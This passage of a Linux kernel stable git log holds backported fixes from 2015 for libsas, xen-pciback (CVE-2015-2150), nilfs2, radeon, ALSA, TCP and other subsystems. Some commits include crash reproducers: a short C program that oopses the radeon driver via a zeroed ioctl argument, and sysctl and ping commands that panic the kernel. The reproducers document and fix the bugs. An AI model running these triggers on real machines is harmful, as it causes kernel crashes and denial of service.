Code: 83 7d 30 63 7e 04 f3 90 eb ab 4c 8d 63 04 4c 8d 7b 08 4c 89 e7 e8 fa 15 00 00 48 8b 43 10 4c 89 3c 24 48 89 63 10 48 89 44 24 08 <48> 89 20 83 c8 ff 48 89 6c 24 10 87 03 ff c8 74 35 4d 89 ee 41 [ 368.805851] RIP [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.805877] RSP [ 368.805886] CR2: 0000000000000000 [ 368.805899] ---[ end trace b720682065d8f4cc ]--- It's directly caused by 89d3cf6 [SCSI] libsas: add mutex for SMP task execution, but shows a deeper cause: expander functions expect to be able to cast to and treat domain devices as expanders. The correct fix is to only do expander discover when we know we've got an expander device to avoid wrongly casting a non-expander device. Reported-by: Praveen Murali Tested-by: Praveen Murali Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a2798490b03c437b14b78aa750878ef1c27ab2 Author: Jan Beulich Date: Wed Mar 11 13:51:17 2015 +0000 xen-pciback: limit guest control of command register commit af6fc858a35b90e89ea7a7ee58e66628c55c776b upstream. Otherwise the guest can abuse that control to cause e.g. PCIe Unsupported Request responses by disabling memory and/or I/O decoding and subsequently causing (CPU side) accesses to the respective address ranges, which (depending on system configuration) may be fatal to the host. Note that to alter any of the bits collected together as PCI_COMMAND_GUEST permissive mode is now required to be enabled globally or on the specific device. This is CVE-2015-2150 / XSA-120. Signed-off-by: Jan Beulich Reviewed-by: Konrad Rzeszutek Wilk Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6af58d77b8e3f976448df6c857cd05014d754b2f Author: Ryusuke Konishi Date: Thu Mar 12 16:26:00 2015 -0700 nilfs2: fix deadlock of segment constructor during recovery commit 283ee1482f349d6c0c09dfb725db5880afc56813 upstream. According to a report from Yuxuan Shui, nilfs2 in kernel 3.19 got stuck during recovery at mount time. The code path that caused the deadlock was as follows: nilfs_fill_super() load_nilfs() nilfs_salvage_orphan_logs() * Do roll-forwarding, attach segment constructor for recovery, and kick it. nilfs_segctor_thread() nilfs_segctor_thread_construct() * A lock is held with nilfs_transaction_lock() nilfs_segctor_do_construct() nilfs_segctor_drop_written_files() iput() iput_final() write_inode_now() writeback_single_inode() __writeback_single_inode() do_writepages() nilfs_writepage() nilfs_construct_dsync_segment() nilfs_transaction_lock() --> deadlock This can happen if commit 7ef3ff2fea8b ("nilfs2: fix deadlock of segment constructor over I_SYNC flag") is applied and roll-forward recovery was performed at mount time. The roll-forward recovery can happen if datasync write is done and the file system crashes immediately after that. For instance, we can reproduce the issue with the following steps: < nilfs2 is mounted on /nilfs (device: /dev/sdb1) > # dd if=/dev/zero of=/nilfs/test bs=4k count=1 && sync # dd if=/dev/zero of=/nilfs/test conv=notrunc oflag=dsync bs=4k count=1 && reboot -nfh < the system will immediately reboot > # mount -t nilfs2 /dev/sdb1 /nilfs The deadlock occurs because iput() can run segment constructor through writeback_single_inode() if MS_ACTIVE flag is not set on sb->s_flags. The above commit changed segment constructor so that it calls iput() asynchronously for inodes with i_nlink == 0, but that change was imperfect. This fixes the another deadlock by deferring iput() in segment constructor even for the case that mount is not finished, that is, for the case that MS_ACTIVE flag is not set. Signed-off-by: Ryusuke Konishi Reported-by: Yuxuan Shui Tested-by: Ryusuke Konishi Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 030becf77c94c9b1748fec5546c8c9f4dadf1040 Author: Doug Anderson Date: Tue Mar 3 15:20:47 2015 -0800 regulator: core: Fix enable GPIO reference counting commit 29d62ec5f87fbeec8413e2215ddad12e7f972e4c upstream. Normally _regulator_do_enable() isn't called on an already-enabled rdev. That's because the main caller, _regulator_enable() always calls _regulator_is_enabled() and only calls _regulator_do_enable() if the rdev was not already enabled. However, there is one caller of _regulator_do_enable() that doesn't check: regulator_suspend_finish(). While we might want to make regulator_suspend_finish() behave more like _regulator_enable(), it's probably also a good idea to make _regulator_do_enable() robust if it is called on an already enabled rdev. At the moment, _regulator_do_enable() is _not_ robust for already enabled rdevs if we're using an ena_pin. Each time _regulator_do_enable() is called for an rdev using an ena_pin the reference count of the ena_pin is incremented even if the rdev was already enabled. This is not as intended because the ena_pin is for something else: for keeping track of how many active rdevs there are sharing the same ena_pin. Here's how the reference counting works here: * Each time _regulator_enable() is called we increment rdev->use_count, so _regulator_enable() calls need to be balanced with _regulator_disable() calls. * There is no explicit reference counting in _regulator_do_enable() which is normally just a warapper around rdev->desc->ops->enable() with code for supporting delays. It's not expected that the "ops->enable()" call do reference counting. * Since regulator_ena_gpio_ctrl() does have reference counting (handling the sharing of the pin amongst multiple rdevs), we shouldn't call it if the current rdev is already enabled. Note that as part of this we cleanup (remove) the initting of ena_gpio_state in regulator_register(). In _regulator_do_enable(), _regulator_do_disable() and _regulator_is_enabled() is is clear that ena_gpio_state should be the state of whether this particular rdev has requested the GPIO be enabled. regulator_register() was initting it as the actual state of the pin. Fixes: 967cfb18c0e3 ("regulator: core: manage enable GPIO list") Signed-off-by: Doug Anderson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da81a573ff7bbb476e0d10c1292fea88f99f4739 Author: Javier Martinez Canillas Date: Mon Mar 2 21:40:39 2015 +0100 regulator: Only enable disabled regulators on resume commit 0548bf4f5ad6fc3bd93c4940fa48078b34609682 upstream. The _regulator_do_enable() call ought to be a no-op when called on an already-enabled regulator. However, as an optimization _regulator_enable() doesn't call _regulator_do_enable() on an already enabled regulator. That means we never test the case of calling _regulator_do_enable() during normal usage and there may be hidden bugs or warnings. We have seen warnings issued by the tps65090 driver and bugs when using the GPIO enable pin. Let's match the same optimization that _regulator_enable() in regulator_suspend_finish(). That may speed up suspend/resume and also avoids exposing hidden bugs. [Use much clearer commit message from Doug Anderson] Signed-off-by: Javier Martinez Canillas Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08c4042fb3df55843cba2b4e0cc73fc7418a45b9 Author: Takashi Iwai Date: Mon Mar 16 10:18:08 2015 +0100 ALSA: hda - Treat stereo-to-mono mix properly commit cc261738add93947d138d2fabad9f4dbed4e5c00 upstream. The commit [ef403edb7558: ALSA: hda - Don't access stereo amps for mono channel widgets] fixed the handling of mono widgets in general, but it still misses an exceptional case: namely, a mono mixer widget taking a single stereo input. In this case, it has stereo volumes although it's a mono widget, and thus we have to take care of both left and right input channels, as stated in HD-audio spec ("7.1.3 Widget Interconnection Rules"). This patch covers this missing piece by adding proper checks of stereo amps in both the generic parser and the proc output codes. Reported-by: Raymond Yau Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 036428db676f4caba2d48cd8f22f840cc4b900e5 Author: Takashi Iwai Date: Thu Mar 12 20:47:15 2015 +0100 ALSA: hda - Add workaround for MacBook Air 5,2 built-in mic commit 2ddee91abe9cc34ddb6294ee14702b46ae07d460 upstream. MacBook Air 5,2 has the same problem as MacBook Pro 8,1 where the built-in mic records only the right channel. Apply the same workaround as MBP8,1 to spread the mono channel via a Cirrus codec vendor-specific COEF setup. Reported-and-tested-by: Vasil Zlatanov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb7bd305fae44f3aeed68d6a696e201cf614625e Author: Takashi Iwai Date: Thu Mar 12 20:28:04 2015 +0100 ALSA: hda - Set single_adc_amp flag for CS420x codecs commit bad994f5b4ab57eec8d56c180edca00505c3eeb2 upstream. CS420x codecs seem to deal only the single amps of ADC nodes even though the nodes receive multiple inputs. This leads to the inconsistent amp value after S3/S4 resume, for example. The fix is just to set codec->single_adc_amp flag. Then the driver handles these ADC amps as if single connections. Reported-and-tested-by: Vasil Zlatanov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e855bd52d365b1a48731f20d5aa1437cf5535a68 Author: Takashi Iwai Date: Thu Mar 12 08:30:11 2015 +0100 ALSA: hda - Don't access stereo amps for mono channel widgets commit ef403edb75580a3ec5d155f5de82155f0419c621 upstream. The current HDA generic parser initializes / modifies the amp values always in stereo, but this seems causing the problem on ALC3229 codec that has a few mono channel widgets: namely, these mono widgets react to actions for both channels equally. In the driver code, we do care the mono channel and create a control only for the left channel (as defined in HD-audio spec) for such a node. When the control is updated, only the left channel value is changed. However, in the resume, the right channel value is also restored from the initial value we took as stereo, and this overwrites the left channel value. This ends up being the silent output as the right channel has been never touched and remains muted. This patch covers the places where unconditional stereo amp accesses are done and converts to the conditional accesses. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94581 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0726269ee60f29ae2403f5182fda479000eacd6 Author: Takashi Iwai Date: Wed Mar 11 16:05:19 2015 +0100 ALSA: hda - Fix built-in mic on Compaq Presario CQ60 commit ddb6ca75b5671b8fbf1909bc588c449ee74b34f9 upstream. Compaq Presario CQ60 laptop with CX20561 gives a wrong pin for the built-in mic NID 0x17 instead of NID 0x1d, and it results in the non-working mic. This patch just remaps the pin correctly via fixup. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=920604 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1e1a3abd13d36321a642332c1ad3c2aebe28461 Author: Takashi Iwai Date: Wed Mar 11 18:12:49 2015 +0100 ALSA: control: Add sanity checks for user ctl id name string commit be3bb8236db2d0fcd705062ae2e2a9d75131222f upstream. There was no check about the id string of user control elements, so we accepted even a control element with an empty string, which is obviously bogus. This patch adds more sanity checks of id strings. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b27ecce2e646addfa5af0d1640855150778f00a0 Author: Alexander Sverdlin Date: Fri Feb 27 16:30:21 2015 +0100 spi: pl022: Fix race in giveback() leading to driver lock-up commit cd6fa8d2ca53cac3226fdcffcf763be390abae32 upstream. Commit fd316941c ("spi/pl022: disable port when unused") introduced a race, which leads to possible driver lock up (easily reproducible on SMP). The problem happens in giveback() function where the completion of the transfer is signalled to SPI subsystem and then the HW SPI controller is disabled. Another transfer might be setup in between, which brings driver in locked-up state. Exact event sequence on SMP: core0 core1 => pump_transfers() /* message->state == STATE_DONE */ => giveback() => spi_finalize_current_message() => pl022_unprepare_transfer_hardware() => pl022_transfer_one_message => flush() => do_interrupt_dma_transfer() => set_up_next_transfer() /* Enable SSP, turn on interrupts */ writew((readw(SSP_CR1(pl022->virtbase)) | SSP_CR1_MASK_SSE), SSP_CR1(pl022->virtbase)); ... => pl022_interrupt_handler() => readwriter() /* disable the SPI/SSP operation */ => writew((readw(SSP_CR1(pl022->virtbase)) & (~SSP_CR1_MASK_SSE)), SSP_CR1(pl022->virtbase)); Lockup! SPI controller is disabled and the data will never be received. Whole SPI subsystem is waiting for transfer ACK and blocked. So, only signal transfer completion after disabling the controller. Fixes: fd316941c (spi/pl022: disable port when unused) Signed-off-by: Alexander Sverdlin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df12da3787a00cc1537182e0b121f807a1c9b9e6 Author: jmlatten@linux.vnet.ibm.com Date: Fri Feb 20 18:11:24 2015 -0600 tpm/ibmvtpm: Additional LE support for tpm_ibmvtpm_send commit 62dfd912ab3b5405b6fe72d0135c37e9648071f1 upstream. Problem: When IMA and VTPM are both enabled in kernel config, kernel hangs during bootup on LE OS. Why?: IMA calls tpm_pcr_read() which results in tpm_ibmvtpm_send and tpm_ibmtpm_recv getting called. A trace showed that tpm_ibmtpm_recv was hanging. Resolution: tpm_ibmtpm_recv was hanging because tpm_ibmvtpm_send was sending CRQ message that probably did not make much sense to phype because of Endianness. The fix below sends correctly converted CRQ for LE. This was not caught before because it seems IMA is not enabled by default in kernel config and IMA exercises this particular code path in vtpm. Tested with IMA and VTPM enabled in kernel config and VTPM enabled on both a BE OS and a LE OS ppc64 lpar. This exercised CRQ and TPM command code paths in vtpm. Patch is against Peter's tpmdd tree on github which included Vicky's previous vtpm le patches. Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d079117716654fac229dbfa6287bc8d04ccac429 Author: Oliver Hartkopp Date: Mon Feb 23 20:37:54 2015 +0100 can: add missing initialisations in CAN related skbuffs commit 969439016d2cf61fef53a973d7e6d2061c3793b1 upstream. When accessing CAN network interfaces with AF_PACKET sockets e.g. by dhclient this can lead to a skb_under_panic due to missing skb initialisations. Add the missing initialisations at the CAN skbuff creation times on driver level (rx path) and in the network layer (tx path). Reported-by: Austin Schuh Reported-by: Daniel Steer Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5f2ff6fee7695c81e818ed34cb201a98ceab3c1 Author: Russell King Date: Fri Mar 6 10:49:21 2015 +0000 Change email address for 8250_pci commit f2e0ea861117bda073d1d7ffbd3120c07c0d5d34 upstream. I'm still receiving reports to my email address, so let's point this at the linux-serial mailing list instead. Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 151bb6459124e9ddb96beb7d5ae03c2a7f932296 Author: Michael S. Tsirkin Date: Thu Mar 5 10:45:30 2015 +1030 virtio_console: init work unconditionally commit 4f6e24ed9de8634d6471ef86b382cba6d4e57ca8 upstream. when multiport is off, we don't initialize config work, but we then cancel uninitialized control_work on freeze. Signed-off-by: Michael S. Tsirkin Reviewed-by: Amit Shah Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9320ed968dddf3bec0ec244153ffbb1ea547c907 Author: Christian König Date: Thu Feb 19 09:40:28 2015 +0100 drm/radeon: drop setting UPLL to sleep mode commit a17d4996e051e78d164989b894608cf37cd5110b upstream. Just keep it working, seems to fix some PLL problems. Bug: https://bugs.freedesktop.org/show_bug.cgi?id=73378 Signed-off-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b40fa73deb0fa55b292df41438178510579d873 Author: Alex Deucher Date: Mon Mar 2 20:39:56 2015 -0500 drm/radeon: do a posting read in rs600_set_irq commit 54acf107e4e66d1f4a697e08a7f60dba9fcf07c3 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1518484386845d442dfb5a2da0c34b0cd39784a7 Author: Alex Deucher Date: Mon Mar 2 20:43:53 2015 -0500 drm/radeon: do a posting read in si_set_irq commit 0586915ec10d0ae60de5cd3381ad25a704760402 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cdd79be0f8dc66bea8bad688d592455ef6ca506 Author: Alex Deucher Date: Mon Mar 2 20:41:31 2015 -0500 drm/radeon: do a posting read in r600_set_irq commit 9d1393f23d5656cdd5f368efd60694d4aeed81d3 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37cb488b499dd6d11f8e8d82607a5f8c14c93295 Author: Alex Deucher Date: Mon Mar 2 20:36:26 2015 -0500 drm/radeon: do a posting read in r100_set_irq commit f957063fee6392bb9365370db6db74dc0b2dce0a upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a44a2434b1dbff12654c01055997db3113d30dd Author: Alex Deucher Date: Mon Mar 2 20:42:53 2015 -0500 drm/radeon: do a posting read in evergreen_set_irq commit c320bb5f6dc0cb88a811cbaf839303e0a3916a92 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37b85ff7e52319414b9d341cc1e6bba15e8def00 Author: Tommi Rantala Date: Mon Mar 2 21:36:07 2015 +0200 drm/radeon: fix DRM_IOCTL_RADEON_CS oops commit a28b2a47edcd0cb7c051b445f71a426000394606 upstream. Passing zeroed drm_radeon_cs struct to DRM_IOCTL_RADEON_CS produces the following oops. Fix by always calling INIT_LIST_HEAD() to avoid the crash in list_sort(). ---------------------------------- #include #include #include #include #include static const struct drm_radeon_cs cs; int main(int argc, char **argv) { return ioctl(open(argv[1], O_RDWR), DRM_IOCTL_RADEON_CS, &cs); } ---------------------------------- [ttrantal@test2 ~]$ ./main /dev/dri/card0 [ 46.904650] BUG: unable to handle kernel NULL pointer dereference at (null) [ 46.905022] IP: [] list_sort+0x42/0x240 [ 46.905022] PGD 68f29067 PUD 688b5067 PMD 0 [ 46.905022] Oops: 0002 [#1] SMP [ 46.905022] CPU: 0 PID: 2413 Comm: main Not tainted 4.0.0-rc1+ #58 [ 46.905022] Hardware name: Hewlett-Packard HP Compaq dc5750 Small Form Factor/0A64h, BIOS 786E3 v02.10 01/25/2007 [ 46.905022] task: ffff880058e2bcc0 ti: ffff880058e64000 task.ti: ffff880058e64000 [ 46.905022] RIP: 0010:[] [] list_sort+0x42/0x240 [ 46.905022] RSP: 0018:ffff880058e67998 EFLAGS: 00010246 [ 46.905022] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [ 46.905022] RDX: ffffffff81644410 RSI: ffff880058e67b40 RDI: ffff880058e67a58 [ 46.905022] RBP: ffff880058e67a88 R08: 0000000000000000 R09: 0000000000000000 [ 46.905022] R10: ffff880058e2bcc0 R11: ffffffff828e6ca0 R12: ffffffff81644410 [ 46.905022] R13: ffff8800694b8018 R14: 0000000000000000 R15: ffff880058e679b0 [ 46.905022] FS: 00007fdc65a65700(0000) GS:ffff88006d600000(0000) knlGS:0000000000000000 [ 46.905022] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 46.905022] CR2: 0000000000000000 CR3: 0000000058dd9000 CR4: 00000000000006f0 [ 46.905022] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 46.905022] DR3: 0000000000000000 DR6: 00000000ffff4ff0 DR7: 0000000000000400 [ 46.905022] Stack: [ 46.905022] ffff880058e67b40 ffff880058e2bcc0 ffff880058e67a78 0000000000000000 [ 46.905022] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [ 46.905022] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [ 46.905022] Call Trace: [ 46.905022] [] radeon_cs_parser_fini+0x195/0x220 [ 46.905022] [] radeon_cs_ioctl+0xa9/0x960 [ 46.905022] [] drm_ioctl+0x19c/0x640 [ 46.905022] [] ? trace_hardirqs_on_caller+0xfd/0x1c0 [ 46.905022] [] ? trace_hardirqs_on+0xd/0x10 [ 46.905022] [] radeon_drm_ioctl+0x46/0x80 [ 46.905022] [] do_vfs_ioctl+0x318/0x570 [ 46.905022] [] ? selinux_file_ioctl+0x56/0x110 [ 46.905022] [] SyS_ioctl+0x81/0xa0 [ 46.905022] [] system_call_fastpath+0x12/0x17 [ 46.905022] Code: 48 89 b5 10 ff ff ff 0f 84 03 01 00 00 4c 8d bd 28 ff ff ff 31 c0 48 89 fb b9 15 00 00 00 49 89 d4 4c 89 ff f3 48 ab 48 8b 46 08 <48> c7 00 00 00 00 00 48 8b 0e 48 85 c9 0f 84 7d 00 00 00 c7 85 [ 46.905022] RIP [] list_sort+0x42/0x240 [ 46.905022] RSP [ 46.905022] CR2: 0000000000000000 [ 47.149253] ---[ end trace 09576b4e8b2c20b8 ]--- Reviewed-by: Christian König Signed-off-by: Tommi Rantala Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb97b576a428f46fb039c6b1ea05ae2e9f2c76aa Author: Eric Dumazet Date: Mon Nov 17 23:06:20 2014 -0800 tcp: make connect() mem charging friendly [ Upstream commit 355a901e6cf1b2b763ec85caa2a9f04fbcc4ab4a ] While working on sk_forward_alloc problems reported by Denys Fedoryshchenko, we found that tcp connect() (and fastopen) do not call sk_wmem_schedule() for SYN packet (and/or SYN/DATA packet), so sk_forward_alloc is negative while connect is in progress. We can fix this by calling regular sk_stream_alloc_skb() both for the SYN packet (in tcp_connect()) and the syn_data packet in tcp_send_syn_data() Then, tcp_send_syn_data() can avoid copying syn_data as we simply can manipulate syn_data->cb[] to remove SYN flag (and increment seq) Instead of open coding memcpy_fromiovecend(), simply use this helper. This leaves in socket write queue clean fast clone skbs. This was tested against our fastopen packetdrill tests. Reported-by: Denys Fedoryshchenko Signed-off-by: Eric Dumazet Acked-by: Yuchung Cheng Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec9c1efccb07e60bf7a601e2dc5eb98419ef473c Author: Catalin Marinas Date: Fri Mar 20 16:48:13 2015 +0000 net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour [ Upstream commit 91edd096e224941131f896b86838b1e59553696a ] Commit db31c55a6fb2 (net: clamp ->msg_namelen instead of returning an error) introduced the clamping of msg_namelen when the unsigned value was larger than sizeof(struct sockaddr_storage). This caused a msg_namelen of -1 to be valid. The native code was subsequently fixed by commit dbb490b96584 (net: socket: error on a negative msg_namelen). In addition, the native code sets msg_namelen to 0 when msg_name is NULL. This was done in commit (6a2a2b3ae075 net:socket: set msg_namelen to 0 if msg_name is passed as NULL in msghdr struct from userland) and subsequently updated by 08adb7dabd48 (fold verify_iovec() into copy_msghdr_from_user()). This patch brings the get_compat_msghdr() in line with copy_msghdr_from_user(). Fixes: db31c55a6fb2 (net: clamp ->msg_namelen instead of returning an error) Cc: David S. Miller Cc: Dan Carpenter Signed-off-by: Catalin Marinas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20e1b9ab2a3626856150d286f3d48397b3d113b0 Author: Josh Hunt Date: Thu Mar 19 19:19:30 2015 -0400 tcp: fix tcp fin memory accounting [ Upstream commit d22e1537181188e5dc8cbc51451832625035bdc2 ] tcp_send_fin() does not account for the memory it allocates properly, so sk_forward_alloc can be negative in cases where we've sent a FIN: ss example output (ss -amn | grep -B1 f4294): tcp FIN-WAIT-1 0 1 192.168.0.1:45520 192.0.2.1:8080 skmem:(r0,rb87380,t0,tb87380,f4294966016,w1280,o0,bl0) Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d35a3e222519e8385352456ce13c7f12fca37de8 Author: Ondrej Zary Date: Wed Mar 18 23:01:01 2015 +0100 Revert "net: cx82310_eth: use common match macro" [ Upstream commit 8d006e0105978619fb472e150c88b0d49337fe2b ] This reverts commit 11ad714b98f6d9ca0067568442afe3e70eb94845 because it breaks cx82310_eth. The custom USB_DEVICE_CLASS macro matches bDeviceClass, bDeviceSubClass and bDeviceProtocol but the common USB_DEVICE_AND_INTERFACE_INFO matches bInterfaceClass, bInterfaceSubClass and bInterfaceProtocol instead, which are not specified. Signed-off-by: Ondrej Zary Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f2b363b12d0c210d22a270bd6d50ae3242f369a Author: Al Viro Date: Sat Mar 14 05:34:56 2015 +0000 rxrpc: bogus MSG_PEEK test in rxrpc_recvmsg() [ Upstream commit 7d985ed1dca5c90535d67ce92ef6ca520302340a ] [I would really like an ACK on that one from dhowells; it appears to be quite straightforward, but...] MSG_PEEK isn't passed to ->recvmsg() via msg->msg_flags; as the matter of fact, neither the kernel users of rxrpc, nor the syscalls ever set that bit in there. It gets passed via flags; in fact, another such check in the same function is done correctly - as flags & MSG_PEEK. It had been that way (effectively disabled) for 8 years, though, so the patch needs beating up - that case had never been tested. If it is correct, it's -stable fodder. Signed-off-by: Al Viro Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5c1ab50ad883595993fad85297d19759a5ae354 Author: Al Viro Date: Sat Mar 14 05:22:21 2015 +0000 caif: fix MSG_OOB test in caif_seqpkt_recvmsg() [ Upstream commit 3eeff778e00c956875c70b145c52638c313dfb23 ] It should be checking flags, not msg->msg_flags. It's ->sendmsg() instances that need to look for that in ->msg_flags, ->recvmsg() ones (including the other ->recvmsg() instance in that file, as well as unix_dgram_recvmsg() this one claims to be imitating) check in flags. Braino had been introduced in commit dcda13 ("caif: Bugfix - use MSG_TRUNC in receive") back in 2010, so it goes quite a while back. Signed-off-by: Al Viro Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21dba4f21f1a38e5ae1dc0d239e2fca8543cb7f0 Author: Eric Dumazet Date: Fri Mar 13 09:49:59 2015 -0700 inet_diag: fix possible overflow in inet_diag_dump_one_icsk() [ Upstream commit c8e2c80d7ec00d020320f905822bf49c5ad85250 ] inet_diag_dump_one_icsk() allocates too small skb. Add inet_sk_attr_size() helper right before inet_sk_diag_fill() so that it can be updated if/when new attributes are added. iproute2/ss currently does not use this dump_one() interface, this might explain nobody noticed this problem yet. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb33af203d297173f78d8230bea7091c12479c69 Author: Arnd Bergmann Date: Wed Mar 11 22:46:59 2015 +0100 rds: avoid potential stack overflow [ Upstream commit f862e07cf95d5b62a5fc5e981dd7d0dbaf33a501 ] The rds_iw_update_cm_id function stores a large 'struct rds_sock' object on the stack in order to pass a pair of addresses. This happens to just fit withint the 1024 byte stack size warning limit on x86, but just exceed that limit on ARM, which gives us this warning: net/rds/iw_rdma.c:200:1: warning: the frame size of 1056 bytes is larger than 1024 bytes [-Wframe-larger-than=] As the use of this large variable is basically bogus, we can rearrange the code to not do that. Instead of passing an rds socket into rds_iw_get_device, we now just pass the two addresses that we have available in rds_iw_update_cm_id, and we change rds_iw_get_mr accordingly, to create two address structures on the stack there. Signed-off-by: Arnd Bergmann Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68ec2980d0f947ff0c78089f1004f4893c4d9264 Author: Alexey Kodanev Date: Wed Mar 11 14:29:17 2015 +0300 net: sysctl_net_core: check SNDBUF and RCVBUF for min length [ Upstream commit b1cb59cf2efe7971d3d72a7b963d09a512d994c9 ] sysctl has sysctl.net.core.rmem_*/wmem_* parameters which can be set to incorrect values. Given that 'struct sk_buff' allocates from rcvbuf, incorrectly set buffer length could result to memory allocation failures. For example, set them as follows: # sysctl net.core.rmem_default=64 net.core.wmem_default = 64 # sysctl net.core.wmem_default=64 net.core.wmem_default = 64 # ping localhost -s 1024 -i 0 > /dev/null This could result to the following failure: skbuff: skb_over_panic: text:ffffffff81628db4 len:-32 put:-32 head:ffff88003a1cc200 data:ffff88003a1cc200 tail:0xffffffe0 end:0xc0 dev: kernel BUG at net/core/skbuff.c:102! invalid opcode: 0000 [#1] SMP ... task: ffff88003b7f5550 ti: ffff88003ae88000 task.ti: ffff88003ae88000 RIP: 0010:[] [] skb_put+0xa1/0xb0 RSP: 0018:ffff88003ae8bc68 EFLAGS: 00010296 RAX: 000000000000008d RBX: 00000000ffffffe0 RCX: 0000000000000000 RDX: ffff88003fdcf598 RSI: ffff88003fdcd9c8 RDI: ffff88003fdcd9c8 RBP: ffff88003ae8bc88 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000001 R11: 00000000000002b2 R12: 0000000000000000 R13: 0000000000000000 R14: ffff88003d3f7300 R15: ffff88000012a900 FS: 00007fa0e2b4a840(0000) GS:ffff88003fc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000d0f7e0 CR3: 000000003b8fb000 CR4: 00000000000006f0 Stack: ffff88003a1cc200 00000000ffffffe0 00000000000000c0 ffffffff818cab1d ffff88003ae8bd68 ffffffff81628db4 ffff88003ae8bd48 ffff88003b7f5550 ffff880031a09408 ffff88003b7f5550 ffff88000012aa48 ffff88000012ab00 Call Trace: [] unix_stream_sendmsg+0x2c4/0x470 [] sock_write_iter+0x146/0x160 [] new_sync_write+0x92/0xd0 [] vfs_write+0xd6/0x180 [] SyS_write+0x59/0xd0 [] system_call_fastpath+0x12/0x17 Code: 00 00 48 89 44 24 10 8b 87 c8 00 00 00 48 89 44 24 08 48 8b 87 d8 00 00 00 48 c7 c7 30 db 91 81 48 89 04 24 31 c0 e8 4f a8 0e 00 <0f> 0b eb fe 66 66 2e 0f 1f 84 00 00 00 00 00 55 48 89 e5 48 83 RIP [] skb_put+0xa1/0xb0 RSP Kernel panic - not syncing: Fatal exception Moreover, the possible minimum is 1, so we can get another kernel panic: ... BUG: unable to handle kernel paging request at ffff88013caee5c0 IP: [] __alloc_skb+0x12f/0x1f0 ... Signed-off-by: Alexey Kodanev Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 660d9e85706d5519a9ca1d64ea775f6456b426da Author: David S. Miller Date: Mon Mar 23 09:22:10 2015 -0700 sparc64: Fix several bugs in memmove(). [ 